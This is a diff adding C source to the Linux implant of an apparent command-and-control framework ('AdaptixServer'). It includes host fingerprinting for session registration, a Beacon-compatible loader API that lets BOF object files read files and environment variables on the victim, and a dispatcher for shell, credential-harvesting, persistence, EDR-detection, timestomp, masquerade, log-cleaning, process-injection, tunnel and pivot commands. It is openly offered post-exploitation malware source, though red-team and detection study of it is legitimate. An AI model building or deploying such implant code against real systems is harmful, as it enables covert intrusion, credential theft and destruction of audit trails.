"msgpack.h" +#include + +/// System info collection for session registration. +/// Individual getters fill a caller-provided buffer, return 0 on success. +/// create_session_info() builds the full SessionInfo msgpack payload. + +int agent_info_hostname(char *buf, int len); +int agent_info_username(char *buf, int len); +int agent_info_ipaddr(char *buf, int len); +int agent_info_osversion(char *buf, int len); + +/// Build SessionInfo msgpack payload matching Go's utils.SessionInfo struct. +/// Also generates a random 16-byte session encryption key. +/// +/// msgpack keys (declaration order, matching Go vmihailenco/msgpack): +/// acp, elevated, encrypt_key, host, ipaddr, oem, os, os_version, pid, process, user +/// +/// Returns 0 on success, fills session_key (16 bytes). +int create_session_info(mp_writer_t *w, uint8_t *session_key); + +#endif /* AGENT_INFO_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c new file mode 100644 index 000000000..7ab16215b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c @@ -0,0 +1,262 @@ +/// ax_vsnprintf.c — Minimal vsnprintf for nostdlib environment +/// Supports: %s %d %i %u %x %X %p %c %% %ld %lu %lx %lX +/// Supports: width, zero-padding, left-align (-) +/// No float support (not needed for BOFs) + +#include "crt.h" +#include + +/// Write a single character to buffer (with bounds check) +static inline int out_char(char *buf, size_t pos, size_t size, char c) { + if (pos < size - 1) + buf[pos] = c; + return 1; +} + +/// Write a string to buffer +static int out_str(char *buf, size_t pos, size_t size, const char *s, int width, int left_align) { + int written = 0; + int slen = 0; + const char *p = s; + + if (!s) s = "(null)"; + p = s; + while (*p) { slen++; p++; } + + int pad = (width > slen) ? width - slen : 0; + + if (!left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + for (int i = 0; i < slen; i++) + written += out_char(buf, pos + written, size, s[i]); + if (left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + return written; +} + +/// Write an unsigned integer (base 10 or 16) +static int out_uint(char *buf, size_t pos, size_t size, + unsigned long long val, int base, int upper, + int width, char pad_char, int left_align) { + char tmp[24]; // enough for 64-bit + int idx = 0; + int written = 0; + + if (val == 0) { + tmp[idx++] = '0'; + } else { + while (val > 0) { + int d = val % base; + if (d < 10) + tmp[idx++] = '0' + d; + else + tmp[idx++] = (upper ? 'A' : 'a') + d - 10; + val /= base; + } + } + + int numlen = idx; + int pad = (width > numlen) ? width - numlen : 0; + + if (!left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, pad_char); + } + // digits in reverse + for (int i = idx - 1; i >= 0; i--) + written += out_char(buf, pos + written, size, tmp[i]); + if (left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + return written; +} + +/// Write a signed integer +static int out_int(char *buf, size_t pos, size_t size, + long long val, int width, char pad_char, int left_align) { + int written = 0; + int negative = 0; + + if (val < 0) { + negative = 1; + val = -val; + if (pad_char == '0' && !left_align) { + written += out_char(buf, pos + written, size, '-'); + width--; // sign takes one slot + } + } + + if (negative && pad_char != '0') { + // Count digits to determine padding + char tmp[24]; + int idx = 0; + long long v = val; + if (v == 0) { tmp[idx++] = '0'; } + else { while (v > 0) { tmp[idx++] = '0' + (v % 10); v /= 10; } } + int numlen = idx + 1; // +1 for sign + int pad = (width > numlen) ? width - numlen : 0; + + if (!left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + written += out_char(buf, pos + written, size, '-'); + for (int i = idx - 1; i >= 0; i--) + written += out_char(buf, pos + written, size, tmp[i]); + if (left_align) { + for (int i = 0; i < pad; i++) + written += out_char(buf, pos + written, size, ' '); + } + return written; + } + + if (negative && pad_char == '0') { + // sign already written above + written += out_uint(buf, pos + written, size, (unsigned long long)val, 10, 0, width, pad_char, left_align); + } else { + written += out_uint(buf, pos + written, size, (unsigned long long)val, 10, 0, width, pad_char, left_align); + } + return written; +} + +int ax_vsnprintf(char *buf, size_t size, const char *fmt, va_list ap) { + size_t pos = 0; + + if (!buf || size == 0) + return 0; + + while (*fmt) { + if (*fmt != '%') { + pos += out_char(buf, pos, size, *fmt); + fmt++; + continue; + } + + fmt++; // skip '%' + + // Parse flags + int left_align = 0; + char pad_char = ' '; + + while (*fmt == '-' || *fmt == '0') { + if (*fmt == '-') left_align = 1; + if (*fmt == '0' && !left_align) pad_char = '0'; + fmt++; + } + + // Parse width + int width = 0; + while (*fmt >= '0' && *fmt <= '9') { + width = width * 10 + (*fmt - '0'); + fmt++; + } + + // Parse length modifier + int is_long = 0; + if (*fmt == 'l') { + is_long = 1; + fmt++; + if (*fmt == 'l') { + is_long = 2; + fmt++; + } + } + + // Parse conversion + switch (*fmt) { + case 'd': + case 'i': { + long long val; + if (is_long >= 2) + val = va_arg(ap, long long); + else if (is_long == 1) + val = va_arg(ap, long); + else + val = va_arg(ap, int); + pos += out_int(buf, pos, size, val, width, pad_char, left_align); + break; + } + case 'u': { + unsigned long long val; + if (is_long >= 2) + val = va_arg(ap, unsigned long long); + else if (is_long == 1) + val = va_arg(ap, unsigned long); + else + val = va_arg(ap, unsigned int); + pos += out_uint(buf, pos, size, val, 10, 0, width, pad_char, left_align); + break; + } + case 'x': { + unsigned long long val; + if (is_long >= 2) + val = va_arg(ap, unsigned long long); + else if (is_long == 1) + val = va_arg(ap, unsigned long); + else + val = va_arg(ap, unsigned int); + pos += out_uint(buf, pos, size, val, 16, 0, width, pad_char, left_align); + break; + } + case 'X': { + unsigned long long val; + if (is_long >= 2) + val = va_arg(ap, unsigned long long); + else if (is_long == 1) + val = va_arg(ap, unsigned long); + else + val = va_arg(ap, unsigned int); + pos += out_uint(buf, pos, size, val, 16, 1, width, pad_char, left_align); + break; + } + case 'p': { + unsigned long long val = (unsigned long long)(uintptr_t)va_arg(ap, void *); + pos += out_char(buf, pos, size, '0'); + pos += out_char(buf, pos, size, 'x'); + pos += out_uint(buf, pos, size, val, 16, 0, 0, '0', 0); + break; + } + case 's': { + const char *s = va_arg(ap, const char *); + pos += out_str(buf, pos, size, s, width, left_align); + break; + } + case 'c': { + char c = (char)va_arg(ap, int); + pos += out_char(buf, pos, size, c); + break; + } + case '%': + pos += out_char(buf, pos, size, '%'); + break; + default: + // Unknown format — output as-is + pos += out_char(buf, pos, size, '%'); + pos += out_char(buf, pos, size, *fmt); + break; + } + + fmt++; + } + + // Null-terminate + if (pos < size) + buf[pos] = '\0'; + else if (size > 0) + buf[size - 1] = '\0'; + + return (int)pos; +} + +int ax_snprintf(char *buf, size_t size, const char *fmt, ...) { + va_list ap; + va_start(ap, fmt); + int ret = ax_vsnprintf(buf, size, fmt, ap); + va_end(ap); + return ret; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c new file mode 100644 index 000000000..c9719c61b --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c @@ -0,0 +1,611 @@ +/// bof_api.c — Linux Beacon API implementation for BOF execution +/// Port of beacon_functions.cpp (Windows) to Linux C with nostdlib + +#include "bof_api.h" +#include "crt.h" +#include "types.h" +#include "msgpack.h" + +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif + +/// ──────────────────────────────────────────────────────────────────────────── +/// Global state — set by elf_bof.c before calling BOF entry point +/// ──────────────────────────────────────────────────────────────────────────── + +/// Output accumulator buffer +static buffer_t bof_output_buf; +static int bof_output_initialized = 0; +static int bof_output_error_type = 0; // 0 = no error, >0 = error code + +void bof_output_init(void) { + if (!bof_output_initialized) { + buf_init(&bof_output_buf, 4096); + bof_output_initialized = 1; + } else { + buf_reset(&bof_output_buf); + } + bof_output_error_type = 0; +} + +void bof_output_cleanup(void) { + if (bof_output_initialized) { + buf_free(&bof_output_buf); + bof_output_initialized = 0; + } +} + +/// Get accumulated output (null-terminated) +const char *bof_output_get(int *out_len) { + if (!bof_output_initialized || bof_output_buf.len == 0) { + if (out_len) *out_len = 0; + return ""; + } + // Ensure null termination + char zero = '\0'; + buf_append(&bof_output_buf, &zero, 1); + bof_output_buf.len--; // don't count the null in length + if (out_len) *out_len = bof_output_buf.len; + return (const char *)bof_output_buf.data; +} + +int bof_output_get_error(void) { + return bof_output_error_type; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Endianness swap (for BeaconFormatInt — big-endian encoding) +/// ──────────────────────────────────────────────────────────────────────────── + +static unsigned int swap_endianness(unsigned int indata) { + unsigned int testint = 0xaabbccdd; + unsigned int outint = indata; + if (((unsigned char *)&testint)[0] == 0xdd) { + ((unsigned char *)&outint)[0] = ((unsigned char *)&indata)[3]; + ((unsigned char *)&outint)[1] = ((unsigned char *)&indata)[2]; + ((unsigned char *)&outint)[2] = ((unsigned char *)&indata)[1]; + ((unsigned char *)&outint)[3] = ((unsigned char *)&indata)[0]; + } + return outint; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Data Parser API (CS-compatible) +/// ──────────────────────────────────────────────────────────────────────────── + +void BeaconDataParse(datap *parser, char *buffer, int size) { + if (!parser || !buffer) + return; + parser->original = buffer; + parser->buffer = buffer + 4; + parser->length = size - 4; + parser->size = size - 4; +} + +int BeaconDataInt(datap *parser) { + if (!parser || parser->length < 4) + return 0; + int val = 0; + ax_memcpy(&val, parser->buffer, 4); + parser->buffer += 4; + parser->length -= 4; + return val; +} + +short BeaconDataShort(datap *parser) { + if (!parser || parser->length < 2) + return 0; + short val = 0; + ax_memcpy(&val, parser->buffer, 2); + parser->buffer += 2; + parser->length -= 2; + return val; +} + +int BeaconDataLength(datap *parser) { + if (!parser) + return 0; + return parser->length; +} + +char *BeaconDataExtract(datap *parser, int *size) { + if (!parser || parser->length < 4) + return (char *)0; + + unsigned int length = 0; + ax_memcpy(&length, parser->buffer, 4); + parser->length -= 4; + parser->buffer += 4; + + char *outdata = parser->buffer; + + parser->length -= length; + parser->buffer += length; + + if (size) + *size = length; + return outdata; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Output API +/// ──────────────────────────────────────────────────────────────────────────── + +void BeaconOutput(int type, const char *data, int len) { + if (!data || !bof_output_initialized) + return; + + if (type == CALLBACK_ERROR) { + bof_output_error_type = CALLBACK_ERROR; + } + + if (len > 0) { + buf_append(&bof_output_buf, data, len); + } else { + // If len == 0, treat data as null-terminated string + int slen = (int)ax_strlen(data); + buf_append(&bof_output_buf, data, slen); + } +} + +void BeaconPrintf(int type, const char *fmt, ...) { + if (!fmt || !bof_output_initialized) + return; + + if (type == CALLBACK_ERROR) { + bof_output_error_type = CALLBACK_ERROR; + } + + // First pass: compute needed length + va_list args; + va_start(args, fmt); + int needed = ax_vsnprintf((char *)0, 0, fmt, args); + va_end(args); + + if (needed <= 0) + return; + + // Allocate temporary buffer + char *tmp = (char *)ax_malloc(needed + 1); + if (!tmp) + return; + + va_start(args, fmt); + ax_vsnprintf(tmp, needed + 1, fmt, args); + va_end(args); + + buf_append(&bof_output_buf, tmp, needed); + ax_free(tmp); +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Format API +/// ──────────────────────────────────────────────────────────────────────────── + +void BeaconFormatAlloc(formatp *format, int maxsz) { + if (!format) + return; + format->original = (char *)ax_malloc(maxsz); + format->buffer = format->original; + format->length = 0; + format->size = maxsz; +} + +void BeaconFormatReset(formatp *format) { + if (!format || !format->original) + return; + ax_memset(format->original, 0, format->size); + format->buffer = format->original; + format->length = 0; +} + +void BeaconFormatAppend(formatp *format, const char *text, int len) { + if (!format || !text) + return; + if (format->length + len > format->size) + return; + ax_memcpy(format->buffer, text, len); + format->buffer += len; + format->length += len; +} + +void BeaconFormatPrintf(formatp *format, const char *fmt, ...) { + if (!format || !fmt) + return; + + va_list args; + va_start(args, fmt); + int remaining = format->size - format->length; + if (remaining <= 0) { + va_end(args); + return; + } + int written = ax_vsnprintf(format->buffer, remaining, fmt, args); + va_end(args); + + if (written > 0) { + format->length += written; + format->buffer += written; + } +} + +char *BeaconFormatToString(formatp *format, int *size) { + if (!format) + return (char *)0; + if (size) + *size = format->length; + return format->original; +} + +void BeaconFormatFree(formatp *format) { + if (!format) + return; + if (format->original) { + ax_memset(format->original, 0, format->size); + ax_free(format->original); + } + format->original = (char *)0; + format->buffer = (char *)0; + format->length = 0; + format->size = 0; +} + +void BeaconFormatInt(formatp *format, int value) { + if (!format) + return; + if (format->length + 4 > format->size) + return; + unsigned int outdata = swap_endianness((unsigned int)value); + ax_memcpy(format->buffer, &outdata, 4); + format->length += 4; + format->buffer += 4; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Utility APIs +/// ──────────────────────────────────────────────────────────────────────────── + +int BeaconIsAdmin(void) { + return (sys_geteuid() == 0) ? 1 : 0; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Async BOF context — set by elf_bof.c before calling BOF entry in async thread +/// ──────────────────────────────────────────────────────────────────────────── + +/// Opaque pointer to async_bof_arg_t (from elf_bof.c) +/// Set to non-NULL only during async BOF execution, checked by BOF APIs. +/// Thread safety: only one async BOF calls elf_bof_execute at a time per thread, +/// and the main thread's sync BOFs run serially, so no race on this pointer. +static volatile void *g_async_bof_ctx = (void *)0; +static volatile int g_async_bof_stop_fd = -1; // read-end of stop_pipe + +void bof_set_async_ctx(void *ctx, int stop_fd) { + g_async_bof_ctx = ctx; + g_async_bof_stop_fd = stop_fd; +} + +void bof_clear_async_ctx(void) { + g_async_bof_ctx = (void *)0; + g_async_bof_stop_fd = -1; +} + +int bof_is_async(void) { + return g_async_bof_ctx != (void *)0; +} + +void BeaconWakeup(void) { + // No-op on Linux: async BOF has its own C2 connection, + // output is sent directly without needing to wake the main thread. +} + +int BeaconGetStopJobEvent(void) { + // Returns the read-end fd of the stop pipe. + // BOF can poll() this fd to check if kill was requested. + // Returns -1 if not in an async BOF context. + return (int)g_async_bof_stop_fd; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Adaptix extensions +/// ──────────────────────────────────────────────────────────────────────────── + +void AxDownloadMemory(char *filename, char *data, int len) { + // For now, encode as text output (full implementation would use TsDownloadSave) + if (!bof_output_initialized) + return; + + char header[256]; + ax_snprintf(header, sizeof(header), "[download] %s (%d bytes)\n", filename ? filename : "unknown", len); + int hlen = (int)ax_strlen(header); + buf_append(&bof_output_buf, header, hlen); + + // TODO: implement proper file download via separate channel when needed +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Linux system primitives — exposed to BOFs via symbol table +/// ──────────────────────────────────────────────────────────────────────────── + +// File I/O wrappers +int AxOpenFile(const char *path, int flags, int mode) { + if (!path) return -1; + return sys_open(path, flags, mode); +} + +int AxCloseFile(int fd) { + if (fd < 0) return -1; + return sys_close(fd); +} + +int AxReadFile(int fd, void *buf, int count) { + if (fd < 0 || !buf || count <= 0) return -1; + return (int)sys_read(fd, buf, (size_t)count); +} + +// Convenience: read entire file into malloc'd buffer +int AxReadFileToBuffer(const char *path, char **out_buf, int max_size) { + if (!path || !out_buf) return -1; + if (max_size <= 0) max_size = 1048576; // 1 MB default + + int fd = sys_open(path, 0 /* O_RDONLY */, 0); + if (fd < 0) return -1; + + char *buf = (char *)ax_malloc(max_size + 1); + if (!buf) { + sys_close(fd); + return -1; + } + + int total = 0; + while (total < max_size) { + int n = (int)sys_read(fd, buf + total, max_size - total); + if (n <= 0) break; + total += n; + } + sys_close(fd); + + buf[total] = '\0'; + *out_buf = buf; + return total; +} + +// File stat wrapper +int AxFileStat(const char *path, unsigned int *out_mode, long *out_size, + unsigned int *out_uid, unsigned int *out_gid) { + if (!path) return -1; + struct linux_stat st; + int ret = sys_stat(path, &st); + if (ret != 0) return -1; + if (out_mode) *out_mode = st.st_mode; + if (out_size) *out_size = st.st_size; + if (out_uid) *out_uid = st.st_uid; + if (out_gid) *out_gid = st.st_gid; + return 0; +} + +// Directory listing +int AxOpenDir(const char *path) { + if (!path) return -1; + return sys_open(path, 0x10000 /* O_RDONLY | O_DIRECTORY */, 0); +} + +int AxReadDir(int fd, void *buf, int bufsize) { + if (fd < 0 || !buf || bufsize <= 0) return -1; + return sys_getdents64(fd, buf, (unsigned int)bufsize); +} + +// Memory +void *AxMalloc(int size) { + if (size <= 0) return (void *)0; + return ax_malloc((size_t)size); +} + +void AxFree(void *ptr) { + if (ptr) ax_free(ptr); +} + +void *AxMemset(void *s, int c, int n) { + if (!s || n <= 0) return s; + return ax_memset(s, c, (size_t)n); +} + +void *AxMemcpy(void *dst, const void *src, int n) { + if (!dst || !src || n <= 0) return dst; + return ax_memcpy(dst, src, (size_t)n); +} + +// String operations +int AxStrlen(const char *s) { + if (!s) return 0; + return (int)ax_strlen(s); +} + +int AxStrcmp(const char *a, const char *b) { + if (!a || !b) return -1; + return ax_strcmp(a, b); +} + +int AxStrncmp(const char *a, const char *b, int n) { + if (!a || !b || n <= 0) return -1; + return ax_strncmp(a, b, (size_t)n); +} + +char *AxStrcpy(char *dst, const char *src) { + if (!dst || !src) return dst; + return ax_strcpy(dst, src); +} + +char *AxStrncpy(char *dst, const char *src, int n) { + if (!dst || !src || n <= 0) return dst; + return ax_strncpy(dst, src, (size_t)n); +} + +char *AxStrcat(char *dst, const char *src) { + if (!dst || !src) return dst; + return ax_strcat(dst, src); +} + +char *AxStrstr(const char *haystack, const char *needle) { + if (!haystack || !needle) return (char *)0; + return ax_strstr(haystack, needle); +} + +char *AxStrchr(const char *s, int c) { + if (!s) return (char *)0; + return ax_strchr(s, c); +} + +// Formatted output +int AxSnprintf(char *buf, int size, const char *fmt, ...) { + if (!buf || !fmt || size <= 0) return 0; + va_list args; + va_start(args, fmt); + int ret = ax_vsnprintf(buf, (size_t)size, fmt, args); + va_end(args); + return ret; +} + +// Process info +int AxGetPid(void) { + return sys_getpid(); +} + +int AxGetUid(void) { + return sys_getuid(); +} + +int AxGetEuid(void) { + return sys_geteuid(); +} + +// getcwd +int AxGetCwd(char *buf, int size) { + if (!buf || size <= 0) return -1; + return sys_getcwd(buf, (size_t)size); +} + +// getenv via /proc/self/environ +int AxGetEnv(const char *name, char *out_buf, int out_size) { + if (!name || !out_buf || out_size <= 0) return -1; + + char *env_data = (char *)0; + int env_len = AxReadFileToBuffer("/proc/self/environ", &env_data, 65536); + if (env_len <= 0 || !env_data) return -1; + + int name_len = (int)ax_strlen(name); + int found = -1; + + // /proc/self/environ entries are null-separated + int pos = 0; + while (pos < env_len) { + char *entry = env_data + pos; + int entry_len = 0; + while (pos + entry_len < env_len && entry[entry_len] != '\0') + entry_len++; + + // Check if entry starts with "name=" + if (entry_len > name_len + 1 && + ax_strncmp(entry, name, name_len) == 0 && + entry[name_len] == '=') { + char *val = entry + name_len + 1; + int val_len = entry_len - name_len - 1; + if (val_len >= out_size) val_len = out_size - 1; + ax_memcpy(out_buf, val, val_len); + out_buf[val_len] = '\0'; + found = val_len; + break; + } + + pos += entry_len + 1; // skip null separator + } + + ax_free(env_data); + return found; +} + +/// ──────────────────────────────────────────────────────────────────────────── +/// Symbol resolution table — used by elf_bof.c +/// ──────────────────────────────────────────────────────────────────────────── + +typedef struct { + const char *name; + void *func; +} bof_api_entry_t; + +static bof_api_entry_t bof_api_table[] = { + // Data Parser + {"BeaconDataParse", (void *)BeaconDataParse}, + {"BeaconDataInt", (void *)BeaconDataInt}, + {"BeaconDataShort", (void *)BeaconDataShort}, + {"BeaconDataLength", (void *)BeaconDataLength}, + {"BeaconDataExtract", (void *)BeaconDataExtract}, + + // Output + {"BeaconOutput", (void *)BeaconOutput}, + {"BeaconPrintf", (void *)BeaconPrintf}, + + // Format + {"BeaconFormatAlloc", (void *)BeaconFormatAlloc}, + {"BeaconFormatReset", (void *)BeaconFormatReset}, + {"BeaconFormatAppend", (void *)BeaconFormatAppend}, + {"BeaconFormatPrintf", (void *)BeaconFormatPrintf}, + {"BeaconFormatToString", (void *)BeaconFormatToString}, + {"BeaconFormatFree", (void *)BeaconFormatFree}, + {"BeaconFormatInt", (void *)BeaconFormatInt}, + + // Utility + {"BeaconIsAdmin", (void *)BeaconIsAdmin}, + + // Async BOF + {"BeaconWakeup", (void *)BeaconWakeup}, + {"BeaconGetStopJobEvent",(void *)BeaconGetStopJobEvent}, + + // Adaptix + {"AxDownloadMemory", (void *)AxDownloadMemory}, + + // Linux system primitives + {"AxOpenFile", (void *)AxOpenFile}, + {"AxCloseFile", (void *)AxCloseFile}, + {"AxReadFile", (void *)AxReadFile}, + {"AxReadFileToBuffer", (void *)AxReadFileToBuffer}, + {"AxFileStat", (void *)AxFileStat}, + {"AxOpenDir", (void *)AxOpenDir}, + {"AxReadDir", (void *)AxReadDir}, + {"AxMalloc", (void *)AxMalloc}, + {"AxFree", (void *)AxFree}, + {"AxMemset", (void *)AxMemset}, + {"AxMemcpy", (void *)AxMemcpy}, + {"AxStrlen", (void *)AxStrlen}, + {"AxStrcmp", (void *)AxStrcmp}, + {"AxStrncmp", (void *)AxStrncmp}, + {"AxStrcpy", (void *)AxStrcpy}, + {"AxStrncpy", (void *)AxStrncpy}, + {"AxStrcat", (void *)AxStrcat}, + {"AxStrstr", (void *)AxStrstr}, + {"AxStrchr", (void *)AxStrchr}, + {"AxSnprintf", (void *)AxSnprintf}, + {"AxGetPid", (void *)AxGetPid}, + {"AxGetUid", (void *)AxGetUid}, + {"AxGetEuid", (void *)AxGetEuid}, + {"AxGetCwd", (void *)AxGetCwd}, + {"AxGetEnv", (void *)AxGetEnv}, + + // Sentinel + {(const char *)0, (void *)0} +}; + +/// Resolve a BOF symbol by name. Returns function pointer or NULL. +void *bof_resolve_symbol(const char *name) { + if (!name) + return (void *)0; + for (int i = 0; bof_api_table[i].name != (const char *)0; i++) { + if (ax_strcmp(name, bof_api_table[i].name) == 0) + return bof_api_table[i].func; + } + return (void *)0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h new file mode 100644 index 000000000..29d3e929e --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h @@ -0,0 +1,115 @@ +/// bof_api.h — Linux Beacon API header for BOF authors +/// This is the public API that BOF .o files link against. +/// Compile BOFs with: gcc -c -o bof.o bof.c -include bof_api.h -Os -fPIC + +#ifndef LINUX_BEACON_API_H +#define LINUX_BEACON_API_H + +/// ── Data parser types ── + +typedef struct { + char *original; + char *buffer; + int length; + int size; +} datap; + +typedef struct { + char *original; + char *buffer; + int length; + int size; +} formatp; + +/// ── Output types (CS-compatible) ── + +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d + +/// ── Data Parser API ── + +void BeaconDataParse(datap *parser, char *buffer, int size); +int BeaconDataInt(datap *parser); +short BeaconDataShort(datap *parser); +int BeaconDataLength(datap *parser); +char *BeaconDataExtract(datap *parser, int *size); + +/// ── Output API ── + +void BeaconOutput(int type, const char *data, int len); +void BeaconPrintf(int type, const char *fmt, ...); + +/// ── Format API ── + +void BeaconFormatAlloc(formatp *format, int maxsz); +void BeaconFormatReset(formatp *format); +void BeaconFormatAppend(formatp *format, const char *text, int len); +void BeaconFormatPrintf(formatp *format, const char *fmt, ...); +char *BeaconFormatToString(formatp *format, int *size); +void BeaconFormatFree(formatp *format); +void BeaconFormatInt(formatp *format, int value); + +/// ── Utility ── + +int BeaconIsAdmin(void); + +/// ── Async BOF APIs ── + +void BeaconWakeup(void); +int BeaconGetStopJobEvent(void); // returns readable fd (-1 if not async) + +/// ── Adaptix extensions ── + +void AxDownloadMemory(char *filename, char *data, int len); + +/// ── Linux system primitives (Adaptix extensions) ── +/// These expose the agent's nostdlib syscall wrappers to BOFs + +// File I/O +int AxOpenFile(const char *path, int flags, int mode); +int AxCloseFile(int fd); +int AxReadFile(int fd, void *buf, int count); + +// File read helper — reads entire file into malloc'd buffer, returns bytes read (-1 on error) +int AxReadFileToBuffer(const char *path, char **out_buf, int max_size); + +// File stat +int AxFileStat(const char *path, unsigned int *out_mode, long *out_size, unsigned int *out_uid, unsigned int *out_gid); + +// Directory listing +int AxOpenDir(const char *path); +int AxReadDir(int fd, void *buf, int bufsize); + +// Memory +void *AxMalloc(int size); +void AxFree(void *ptr); +void *AxMemset(void *s, int c, int n); +void *AxMemcpy(void *dst, const void *src, int n); + +// String operations +int AxStrlen(const char *s); +int AxStrcmp(const char *a, const char *b); +int AxStrncmp(const char *a, const char *b, int n); +char *AxStrcpy(char *dst, const char *src); +char *AxStrncpy(char *dst, const char *src, int n); +char *AxStrcat(char *dst, const char *src); +char *AxStrstr(const char *haystack, const char *needle); +char *AxStrchr(const char *s, int c); + +// Formatted output +int AxSnprintf(char *buf, int size, const char *fmt, ...); + +// Process info +int AxGetPid(void); +int AxGetUid(void); +int AxGetEuid(void); + +// getcwd +int AxGetCwd(char *buf, int size); + +// getenv equivalent — reads /proc/self/environ +int AxGetEnv(const char *name, char *out_buf, int out_size); + +#endif // LINUX_BEACON_API_H diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c new file mode 100644 index 000000000..df6569966 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c @@ -0,0 +1,130 @@ +#include "commander.h" +#include "crt.h" +#include "tasks_fs.h" +#include "tasks_proc.h" +#include "tasks_linux.h" +#include "tasks_async.h" +#include "tasks_net.h" +#include "tasks_opsec.h" +#include "tasks_pivot.h" +#include "pivot.h" +#include "elf_bof.h" + +static int cmd_error(mp_writer_t* w, const char* msg); + +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t* data, uint32_t data_len, + mp_writer_t* response) { + switch (code) { + // ── Filesystem commands ── + case COMMAND_PWD: + return task_pwd(response); + case COMMAND_CD: + return task_cd(data, data_len, response); + case COMMAND_CAT: + return task_cat(data, data_len, response); + case COMMAND_LS: + return task_ls(data, data_len, response); + case COMMAND_CP: + return task_cp(data, data_len, response); + case COMMAND_MV: + return task_mv(data, data_len, response); + case COMMAND_MKDIR: + return task_mkdir(data, data_len, response); + case COMMAND_RM: + return task_rm(data, data_len, response); + + // ── Process commands ── + case COMMAND_PS: + return task_ps(response); + case COMMAND_KILL: + return task_kill(data, data_len, response); + case COMMAND_SHELL: + return task_shell(data, data_len, response); + + // ── Linux-specific ── + case COMMAND_GETUID: + return task_getuid(response); + case COMMAND_ENV: + return task_env(response); + case COMMAND_NETSTAT: + return task_netstat(response); + case COMMAND_MOUNTS: + return task_mounts(response); + case COMMAND_EDR: + return task_edr(response); + case COMMAND_CREDS: + return task_creds(data, data_len, response); + case COMMAND_PERSIST: + return task_persist(data, data_len, response); + case COMMAND_CONTAINER: + return task_container(data, data_len, response); + + // ── OPSEC commands ── + case COMMAND_MASQUERADE: + return task_masquerade(data, data_len, response); + case COMMAND_TIMESTOMP: + return task_timestomp(data, data_len, response); + case COMMAND_CLEANLOG: + return task_cleanlog(response); + case COMMAND_INJECT: + return task_inject(data, data_len, response); + case COMMAND_MIGRATE: + return task_migrate(response); + + // ── Control ── + case COMMAND_EXIT: + return -99; + + // ── Async/Job commands ── + case COMMAND_DOWNLOAD: + return task_download(data, data_len, response); + case COMMAND_UPLOAD: + return task_upload(data, data_len, response); + case COMMAND_RUN: + return task_run(data, data_len, response); + case COMMAND_JOB_LIST: + return task_job_list(response); + case COMMAND_JOB_KILL: + return task_job_kill(data, data_len, response); + + // ── Network commands ── + case COMMAND_TUNNEL_START: + return task_tunnel_start(data, data_len, response); + case COMMAND_TUNNEL_WRITE: + return task_tunnel_write(data, data_len, response); + case COMMAND_TUNNEL_STOP: + return task_tunnel_stop(data, data_len, response); + case COMMAND_TUNNEL_PAUSE: + return task_tunnel_pause(data, data_len, response); + case COMMAND_TUNNEL_RESUME: + return task_tunnel_resume(data, data_len, response); + case COMMAND_TERMINAL_START: + return task_terminal_start(data, data_len, response); + case COMMAND_TERMINAL_STOP: + return task_terminal_stop(data, data_len, response); + + // ── BOF commands ── + case COMMAND_EXEC_BOF: + return task_exec_bof(cmd_id, data, data_len, response); + case COMMAND_EXEC_BOF_ASYNC: + return task_exec_bof_async(cmd_id, data, data_len, response); + + // ── Pivot commands ── + case COMMAND_LINK: + return task_link_with_id(cmd_id, data, data_len, response); + case COMMAND_UNLINK: + return task_unlink(data, data_len, response); + case COMMAND_PIVOT_EXEC: + return task_pivot_exec(data, data_len, response); + + default: + return cmd_error(response, "Unknown command"); + } +} + +static int cmd_error(mp_writer_t* w, const char* msg) { + mp_write_map(w, 1); + mp_write_kv_str(w, "error", msg); + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h new file mode 100644 index 000000000..6c571ab89 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h @@ -0,0 +1,27 @@ +#ifndef COMMANDER_H +#define COMMANDER_H + +#include "types.h" +#include "msgpack.h" + +/// Process a list of commands received from the server. +/// Input: array of msgpack-encoded Command structs. +/// Output: array of msgpack-encoded response buffers. +/// +/// Each Command has: {code: uint, id: uint, data: []byte} +/// Response format depends on the command code. + +/// Process all commands from inMessage.Object. +/// Returns msgpack-encoded array of response buffers. +/// Caller must free the returned buffer. +int process_commands(const uint8_t **commands, uint32_t *cmd_sizes, + uint32_t cmd_count, + buffer_t *out_responses, uint32_t *out_count); + +/// Process a single command, write response to writer. +/// Returns 0 on success. +int handle_command(uint32_t code, uint32_t cmd_id, + const uint8_t *data, uint32_t data_len, + mp_writer_t *response); + +#endif 